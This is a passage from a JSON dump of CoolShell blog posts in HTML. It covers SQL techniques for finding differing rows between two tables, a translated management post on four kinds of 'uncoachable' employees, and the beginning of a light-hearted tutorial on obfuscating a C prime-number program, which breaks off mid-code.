30px;\">B</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">3</td>\n<td align=\"center\" style=\"width: 30px;\">You are</td>\n<td align=\"center\" style=\"width: 30px;\">Welcome</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">4</td>\n<td align=\"center\" style=\"width: 30px;\">What</td>\n<td align=\"center\" style=\"width: 30px;\">Other</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">5</td>\n<td align=\"center\" style=\"width: 30px;\">INeed</td>\n<td align=\"center\" style=\"width: 30px;\">You</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">Z</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">7</td>\n<td align=\"center\" style=\"width: 30px;\">Kirk</td>\n<td align=\"center\" style=\"width: 30px;\">Land</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">8</td>\n<td align=\"center\" style=\"width: 30px;\">Bit</td>\n<td align=\"center\" style=\"width: 30px;\">Shooter</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">9</td>\n<td align=\"center\" style=\"width: 30px;\">Sun</td>\n<td align=\"center\" style=\"width: 30px;\">Microsystem</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">10</td>\n<td align=\"center\" style=\"width: 30px;\">Extra</td>\n<td align=\"center\" style=\"width: 30px;\">Fancy</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n</tbody>\n</table>\n<h4>jajal_copy</h4>\n<table border=\"0\" cellspacing=\"1\" class=\"wptable rowstyle-alt\" id=\"wptable-8\">\n<thead>\n<tr>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">user_id</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">first_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">last_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">1</td>\n<td align=\"center\" style=\"width: 30px;\">Some</td>\n<td align=\"center\" style=\"width: 30px;\">Dude</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">2</td>\n<td align=\"center\" style=\"width: 30px;\">Other</td>\n<td align=\"center\" style=\"width: 30px;\">Guy</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">3</td>\n<td align=\"center\" style=\"width: 30px;\">You are</td>\n<td align=\"center\" style=\"width: 30px;\">Welcome</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">4</td>\n<td align=\"center\" style=\"width: 30px;\">What</td>\n<td align=\"center\" style=\"width: 30px;\">Other</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">5</td>\n<td align=\"center\" style=\"width: 30px;\">INeed</td>\n<td align=\"center\" style=\"width: 30px;\">You</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">7</td>\n<td align=\"center\" style=\"width: 30px;\">Kirk</td>\n<td align=\"center\" style=\"width: 30px;\">Land</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">8</td>\n<td align=\"center\" style=\"width: 30px;\">Bit</td>\n<td align=\"center\" style=\"width: 30px;\">Shooter</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">9</td>\n<td align=\"center\" style=\"width: 30px;\">Sun</td>\n<td align=\"center\" style=\"width: 30px;\">Microsystem</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">10</td>\n<td align=\"center\" style=\"width: 30px;\">Extra</td>\n<td align=\"center\" style=\"width: 30px;\">Fancy</td>\n<td align=\"center\" style=\"width: 30px;\">B</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p>要比较这两张表的数据，找出不一样的数据行。我们可以使用<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)#Outer_joins\"><span style=\"color: #967001;\">outer join</span></a> 技术。我给outer join做了一个链接，是Wikipedia的，如果你对这个技术不是很清楚，还请你行看看其技术细节。</p>\n<p>下面是具体的SQL语句：</p>\n<h4><span style=\"text-decoration: underline;\">使用FULL OUTER JOIN</span></h4>\n<pre class=\"EnlighterJSRAW\">\nSELECT\n     *\nFROM\n     jajal j\n     FULL OUTER JOIN jajal_copy jc ON jc.first_name = j.first_name\n     AND jc.last_name = j.last_name\n     AND jc.grade = j.grade\n     AND jc.user_id = j.user_id\nWHERE\n     j.user_id IS NULL\n     OR jc.user_id IS NULL\n</pre>\n<p>运行结果如下：</p>\n<table border=\"0\" cellspacing=\"1\" class=\"wptable rowstyle-alt\" id=\"wptable-9\">\n<thead>\n<tr>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">user_id</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">first_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">last_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">grade</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">user_id</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">first_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">last_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">Z</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n<td align=\"center\" style=\"width: 30px;\">[NULL]</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">使用NATURAL FULL OUTER JOIN</span></h4>\n<p>关于<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)#Natural_join\"><span style=\"color: #967001;\">natural join</span></a>，你可以看看Wikipedia是怎么说的。</p>\n<pre class=\"EnlighterJSRAW\">\nSELECT\n       *\nFROM\n       jajal j\n       NATURAL FULL OUTER JOIN jajal_copy jc\nWHERE\n       j.user_id IS NULL\n       OR jc.user_id IS NULL\n</pre>\n<p>运行结果如下：</p>\n<table border=\"0\" cellspacing=\"1\" class=\"wptable rowstyle-alt\" id=\"wptable-10\">\n<thead>\n<tr>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">user_id</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">first_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">last_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">C</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">6</td>\n<td align=\"center\" style=\"width: 30px;\">Mixed</td>\n<td align=\"center\" style=\"width: 30px;\">Nuts</td>\n<td align=\"center\" style=\"width: 30px;\">Z</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">MySQL SQL 代码</span></h4>\n<pre>MySQL 并不支持 FULL OUTER JOIN，但是我们可以使用LEFT JOIN 和 RIGHT JOIN 来实现这一功能。如下所示。</pre>\n<pre class=\"EnlighterJSRAW\">\nSELECT\n*\nFROM\njajal j\nLEFT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nRIGHT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\nj.user_id IS NULL\n</pre>\n<p>或者你更喜欢NATURAL JOIN 版本</p>\n<pre class=\"EnlighterJSRAW\">\nSELECT\n*\nFROM\njajal j\nNATURAL LEFT JOIN jajal_copy jc\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nNATURAL RIGHT JOIN jajal_copy jc\nWHERE\nj.user_id IS NULL\n</pre>\n<p>当然，如果你需要一个MySQL的存储过程的话，下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\nDELIMITER $$\n\nCREATE PROCEDURE `db_schema`.`tablediff`\n    (schema_name VARCHAR(64), table1 VARCHAR(64), table2 VARCHAR(64))\nBEGIN\n    DECLARE done INT DEFAULT 0;\n    DECLARE sql_statement TEXT DEFAULT '';\n    DECLARE sql_statement_where TEXT DEFAULT '';\n    DECLARE sql_statement_pk TEXT DEFAULT '';\n    DECLARE col_name VARCHAR(64);\n    DECLARE col_name_cur CURSOR FOR\n        SELECT\n            COLUMN_NAME\n        FROM\n            information_schema.COLUMNS\n        WHERE\n            TABLE_SCHEMA = schema_name\n            AND TABLE_NAME = table1\n    ;\n    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;\n\n    OPEN col_name_cur;\n    traverse_columns: LOOP\n        FETCH col_name_cur INTO col_name;\n\n        IF done THEN\n            CLOSE col_name_cur;\n            LEAVE traverse_columns;\n        END IF;\n\n        SET sql_statement_where = CONCAT(sql_statement_where,\n            ' AND a.', col_name, ' = b.', col_name);\n        SET sql_statement_pk = CONCAT(sql_statement_pk,\n            'AND b.', col_name, ' IS NULL');\n    END LOOP;\n\n    SELECT\n        COLUMN_NAME INTO col_name\n    FROM\n        information_schema.KEY_COLUMN_USAGE\n    WHERE\n        CONSTRAINT_SCHEMA = schema_name\n        AND CONSTRAINT_NAME = 'PRIMARY'\n        AND TABLE_NAME = table1\n    LIMIT 1\n    ;\n    IF col_name IS NOT NULL THEN\n        SET sql_statement_pk = CONCAT('AND b.', col_name, ' IS NULL');\n    END IF;\n\n    SET sql_statement = CONCAT('SELECT * FROM ', schema_name, '.', table1, ' a LEFT JOIN ', schema_name, '.', table2, ' b ON TRUE');\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, ' WHERE TRUE ', sql_statement_pk);\n    SET sql_statement = CONCAT(sql_statement, ' UNION ALL SELECT * FROM ', schema_name, '.', table1, ' b RIGHT JOIN ', schema_name, '.', table2, ' a ON TRUE');\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, ' WHERE TRUE ', sql_statement_pk);\n\n    SET @s = sql_statement;\n    PREPARE stmt1 FROM @s;\n    EXECUTE stmt1;\n    DEALLOCATE PREPARE stmt1;\n\nEND$$\nDELIMITER ;\n</pre>\n<p> </p>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">PostgreSQL 下的SQL语句</span></h4>\n<p>下面是PostgreSQL的一个存储过程：</p>\n<pre class=\"EnlighterJSRAW\">\nCREATE OR REPLACE FUNCTION tablediff (\n    IN schema_name VARCHAR(64),\n    IN table1 VARCHAR(64),\n    IN table2 VARCHAR(64)\n) RETURNS BIGINT AS\n$BODY$\nDECLARE\n    the_result BIGINT DEFAULT 0;\n    sql_statement TEXT DEFAULT '';\n    sql_statement_where TEXT DEFAULT '';\n    sql_statement_pk TEXT DEFAULT '';\n    col_name VARCHAR(64);\n    col_name_cur CURSOR FOR\n        SELECT\n            column_name\n        FROM\n            information_schema.columns\n        WHERE\n            table_catalog = schema_name\n            AND table_schema = 'public'\n            AND table_name = table1\n    ;\nBEGIN\n    OPEN col_name_cur;\n\n    LOOP\n        FETCH col_name_cur INTO col_name;\n        IF NOT FOUND THEN\n            EXIT;\n        END IF;\n\n        sql_statement_where := sql_statement_where || ' AND a.' || col_name || ' = b.' || col_name;\n    END LOOP;\n\n    SELECT\n        column_name INTO col_name\n    FROM\n        information_schema.table_constraints tc\n        JOIN information_schema.constraint_column_usage ccu ON\n            ccu.constraint_name = tc.constraint_name\n    WHERE\n        tc.table_catalog = schema_name\n        AND tc.table_schema = 'public'\n        AND tc.table_name = table1\n    LIMIT 1\n    ;\n\n    IF col_name IS NOT NULL THEN\n        sql_statement_pk := ' a.' || col_name || ' IS NULL';\n        sql_statement_pk := sql_statement_pk || ' OR b.' || col_name || ' IS NULL';\n    END IF;\n\n    sql_statement := 'SELECT COUNT(*) FROM ' || schema_name || '.public.' || table1 || ' a FULL OUTER JOIN ' || schema_name || '.public.' || table2 || ' b ON TRUE';\n    sql_statement := sql_statement || sql_statement_where || ' WHERE ' || sql_statement_pk;\n\n    EXECUTE sql_statement INTO the_result;\n\n    RETURN the_result;\nEND;$BODY$\nLANGUAGE 'plpgsql' STABLE;\n</pre>\n<p> </p>\n<p>文章：<a href=\"http://www.microshell.com/database/sql/comparing-data-from-2-database-tables/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3433.html\"><img alt=\"6个有用的MySQL语句\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/925.html\">如何比较两个数据表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-3 不要拯救那些职场上的“无可救药”.html",
    "content": "<html><body><p><a href=\"http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/\">此文</a>来自Marshall Goldsmith的<a href=\"http://www.marshallgoldsmithlibrary.com/blog/\">博客</a>，此人曾任Peter Drucker Foundation 的Board  member（实在不知道怎么翻译），49年出生，生平中是一系列管理学方面的成就，是一位罕见的高产的，大师型的博主。</p>\n<p>显然，我所翻译的标题有些夸张（原标题是“spotting the uncoachables”）。</p>\n<p>职场上除了职位所确立的关系之外，还有一种重要的关系，那就是“师徒关系”。如果幸运，大家会遇到有人愿意 coach 自己，给自己传递技能或者指点职场之道。等我们在一个地方呆久了，也会有时候 coach 一些新入道的同事，甚至有时候为了达到团队目的，需要用自己的经验和技能影响自己的同僚。</p>\n<p>此文提到的了4种很难coach的情形，大家可以拿来参考。但是这并不代表我们遇到觉得“朽木不可雕也”的人的时候就应该彻底放弃。如果我们无可避免的需要影响他们的行为，我们需要更有技巧的选择自己的方式。</p>\n<p><span id=\"more-753\"></span></p>\n<p><strong>四类不可coach的人：</strong></p>\n<ol>\n<li>自己并没意识到有任何问题的人</li>\n<li>其努力方向和公司战略相左的人</li>\n<li>入错行的人（也许我们应该引导他们去发现自己才能所属的领域）</li>\n<li>怨天尤人的人（老认为别人有问题的人）</li>\n</ol>\n<p>祝好</p>\n<blockquote><p>原文：</p>\n<h2><a href=\"http://www.marshallgoldsmithlibrary.com/blog/2009/05/02/spotting-the-uncoachables/\" rel=\"bookmark\" title=\"Permanent Link: Spotting the “Uncoachables”\">Spotting the “Uncoachables”</a></h2>\n<div class=\"entry\">\n<p>Even if you are the best coach in the world, if the person you are coaching shouldn’t be coached, the coaching isn’t going to work. The good news is that the “uncoachables” are easier than you think to spot. How do you know when someone is uncoachable? How do you detect a lost cause? Following are four indicators that you are dealing with one of these people:</p>\n<p><strong>1. She doesn’t think she has a problem</strong>.</p>\n<p>This successful adult has no interest in changing. Her behavior is working fine for her. If she doesn’t care to change, you are wasting your time! Let me give you an example of a nice woman who didn’t think she had a problem. My mother, a lovely woman and much-admired first-grade teacher, was so dedicated to her craft that she didn’t draw the line between inside and outside the classroom. She talked to all of us, including my father, in the same slow, patient manner, using the same simple vocabulary that she used with her six-year-olds every day. One day as she graciously and methodically corrected his grammar for the millionth time, he looked at her, sighed, and said, “Honey, I’m 70 years old. Let it go.” My father had absolutely no interest in changing. He didn’t perceive a problem. So no matter how much, how hard, or how diligently she coached, he wasn’t going to change.</p>\n<p><strong>2. He is pursuing the wrong strategy for the organization</strong>.</p>\n<p>If this guy is already going in the wrong direction, all you’re going to do with your coaching is help him get there faster.</p>\n<p><strong>3. They’re in the wrong job</strong>.</p>\n<p>Sometimes people feel that they’re in the wrong job with the wrong company. They may believe they’re meant to be doing something else or that their skills are being misused. Here’s a good way to determine if you’re working with one of these people. Ask them, “If we shut down the company today, would you be relieved, surprised, or sad?” If you hear ‘relieved,’ you’ve got yourself a live one. Send them packing. You can’t change the behavior of unhappy people so that they become happy: You can only fix behavior that’s making people around them unhappy.</p>\n<p><strong>4. They think everyone else is the problem</strong>.</p>\n<p>A long time ago I had a client who, after a few high-profile employee departures, was concerned about employee morale. He had a fun, successful company and people liked the work, but feedback said that the boss played favorites in the way he compensated people. When I reported this feedback to my client, he completely surprised me. He said he agreed with the charge and thought he was right to do so. First off, I’m not a compensation strategist and so I wasn’t equipped to deal with this problem, but then he surprised me again. He hadn’t called me to help him change; he wanted me to fix his employees. It’s times like these that I find the nearest exit. It’s hard to help people who don’t think they have a problem. It’s impossible to fix people who think someone else is the problem.</p>\n<p>My suggestion in cases like these? Save time, skip the heroic measures, and move on. These are arguments you can’t ever win.</p>\n</div>\n<p>Life is good.<br/>\nMarshall</p></blockquote>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5292.html\"><img alt=\"弱爆程序员的特征值\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7.html\"><img alt=\"你应该知道的20个Ajax技术(01-10)\" height=\"150\" src=\"../wp-content/uploads/2009/03/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7.html\">你应该知道的20个Ajax技术(01-10)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1693.html\"><img alt=\"给我一个序列号\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1693.html\">给我一个序列号</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4334.html\"><img alt=\"Eclipse开发Android应用程序入门:重装上阵\" height=\"150\" src=\"../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/753.html\">不要拯救那些职场上的“无可救药”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-30 如何加密_混乱C源代码.html",
    "content": "<html><body><p>之前发表了《<strong>6个变态的C语言Hello World程序</strong>》[<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">酷壳链接</a>] [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx\" target=\"_blank\">CSDN链接</a>]，主要是是像大家展示了一些C语言的变态玩法。也向大家展示了一下程序是可以写得让人看不懂的，在那篇文章中，可以看到很多人的留言，很多人都觉得很好玩，是的，那本来是用来<span style=\"color: #000000;\">供朋友们“消遣作乐”，供娱乐娱东而已，不必太过认真。</span></p>\n<p>不过，通过这种极端的写法，大家可以看到源代码都可以写得那么复杂难懂的。大家也许在赞叹之余一笑了之，而我则希望，大家能够在娱乐以后认真思考一下，你不要以为咱们自己不会把代码搞得那么复杂，只不过没有像那6个Hello World一样那么极端，不过，说句老实话，<strong>咱们每个程序都有把清晰的程序搞得一团混乱的潜能，只不过程度不一样罢了，我并不是在这里危言耸听，大家好自为之</strong>。</p>\n<p>下面是一个Step by Step的教程，教你如何把一个清晰的代码变得复杂难懂的。当然，这只是一个“简明教程”了。还是那句话——“<span style=\"color: #800000;\">本文仅供朋友们“消遣作乐”，如果你要觉得有意思的话，顶个贴。如果你觉得没什么意思的话，一笑了之。仅供娱乐而已，不必太过认真。</span>”</p>\n<p><span id=\"more-933\"></span></p>\n<h4>开始程序</h4>\n<p>下面是一个找出素数的程序：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid primes(int cap)\n{\n    int i, j, composite;\n\n    for(i = 2; i &lt; cap; ++i) {\n        composite = 0;\n        for(j = 2; j * j &lt; i; ++j) {\n            composite += !(i % j);\n        }\n        if(!composite){\n            printf(\"%dt\", i);\n        }\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n</pre>\n<p>下面我们来看看如何把上面这段代码搞得复杂难懂。</p>\n<h4>第一步、把for变成while</h4>\n<p>通常来说，for循坏要以while循坏简单一些，上面的程序有二重for循环，我们不但要把其变成while循环，而且还要把二重循环的变成一重的循环，然后使用大量的if-else语句来判断。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid primes(int cap)\n{\n    int i, j, composite, t = 0;\n\n    while(t &lt; cap * cap) {\n        i = t / cap;\n        j = t++ % cap;\n        if(i &lt;= 1);\n        else if(!j)\n            composite = j;\n        else if(j == i &amp;&amp; !composite)\n            printf(\"%dt\",i);\n        else if(j &gt; 1 &amp;&amp; j &lt; i)\n            composite += !(i % j);\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n</pre>\n<h4>第二步，把循坏变成递归</h4>\n<p>递归在某些时候是可以把代码变得简单，但大多数的情况下是把代码变得复杂，而且很没有效率。下面是把上面的while循环变成了递归。变成了递归后，函数的参数都变成3个了。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid primes(int cap, int t, int composite)\n{\n    int i,j;\n    i = t / cap;\n    j = t % cap;\n    if(i &lt;= 1)\n        primes(cap,t+1,composite);\n    else if(!j)\n        primes(cap,t+1,j);\n    else if(j == i &amp;&amp; !composite)\n        (printf(\"%dt\",i), primes(cap,t+1,composite));\n    else if(j &gt; 1 &amp;&amp; j &lt; i)\n        primes(cap,t+1, composite + !(i % j));\n    else if(t &lt; cap * cap)\n        primes(cap,t+1,composite);\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第三步，弄乱代码结构/使用没有含义的变量名</h4>\n<p>关于如何弄乱代码结构，其中一个小技巧是，使用“？”表达式代替if-else语句。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid primes(int m, int t, int c)\n{\n    int i,j;\n    i = t / m;\n    j = t % m;\n    (i &lt;= 1) ? primes(m,t+1,c) : (!j) ? primes(m,t+1,j) : (j == i &amp;&amp; !c) ?\n    (printf(\"%dt\",i), primes(m,t+1,c)) : (j &gt; 1 &amp;&amp; j &lt; i) ?\n    primes(m,t+1,c + !(i % j)) : (t &lt; m * m) ? primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第四步，取消临时变量</h4>\n<p>临时变量一般用来保存反复使用的一个表达式的值。使用大量重复的表达式来取消这些临时变量的也可以让代码复杂起来。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid primes(int m, int t, int c)\n{\n  ((t / m) &lt;= 1) ? primes(m,t+1,c) : !(t % m) ? primes(m,t+1, t % m) :\n  ((t % m)==(t / m) &amp;&amp; !c) ? (printf(\"%dt\",(t / m)), primes(m,t+1,c)) :\n  ((t % m)&gt; 1 &amp;&amp; (t % m) &lt; (t / m)) ? primes(m,t+1,c + !((t / m) % (t % m))) :\n  (t &lt; m * m) ? 